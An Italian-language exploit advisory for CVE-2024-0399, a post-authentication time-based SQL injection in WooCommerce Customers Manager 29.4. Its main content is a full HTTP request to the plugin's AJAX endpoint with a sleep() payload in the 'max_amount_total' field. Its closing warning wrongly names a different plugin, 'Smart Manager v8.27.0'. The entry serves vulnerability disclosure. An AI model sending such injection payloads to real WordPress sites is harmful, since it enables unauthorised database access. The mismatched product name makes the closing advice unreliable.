
Exploit Title: WooCommerce Customers Manager 29.4 - Iniezione SQL post-autenticazione
Data: 2024-03-25
Autore Exploit: Ivan Spiridonov - xbz0n
Software Link: https://codecanyon.net/item/woocommerce-customers-manager/10965432
Versione: 29.4
Testato su: Ubuntu 22.04
CVE: CVE-2024-0399
Il plugin non sanifica e non sfugge correttamente un parametro prima di utilizzarlo in un'istruzione SQL, portando a un'iniezione SQL sfruttabile dal ruolo Subscriber+.
La vulnerabilità risiede nei parametri degli importi delle transazioni come 'max_amount', 'max_amount_total', 'min_amount' e 'min_amount_total' utilizzati nell'endpoint AJAX di amministrazione. Iniettando comandi SQL in questi parametri, gli attaccanti autenticati possono manipolare le query SQL, portando a una vulnerabilità di SQL Injection basata sul tempo.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=wccm-discover-customer
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------2461714219322283440478088295
Content-Length: 1877
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="action"
wccm_get_orders_tot_num
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="start_date"
2024-01-09
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="end_date"
2024-01-11
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="customer_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="category_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount_total"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount_total"
(select*from(select(sleep(20)))a)
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_filters_relationship"
and
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="statuses"
wc-pending,wc-processing,wc-on-hold,wc-completed,wc-cancelled,wc-refunded,wc-failed,wc-checkout-draft
-----------------------------2461714219322283440478088295--
Se la risposta del server viene ritardata di circa 20 secondi, indica uno sfruttamento riuscito dell'iniezione SQL basata sul tempo, confermando la vulnerabilità.
Gli utenti di WooCommerce Customers Manager v29.4 sono fortemente invitati a limitare l'accesso all'endpoint interessato e ad aggiornare il plugin non appena verrà rilasciata una versione corretta. Questa segnalazione funge da avviso per tutti gli utenti di Smart Manager v8.27.0 affinché agiscano immediatamente aggiornando il loro plugin per proteggersi da questa vulnerabilità di SQL Injection.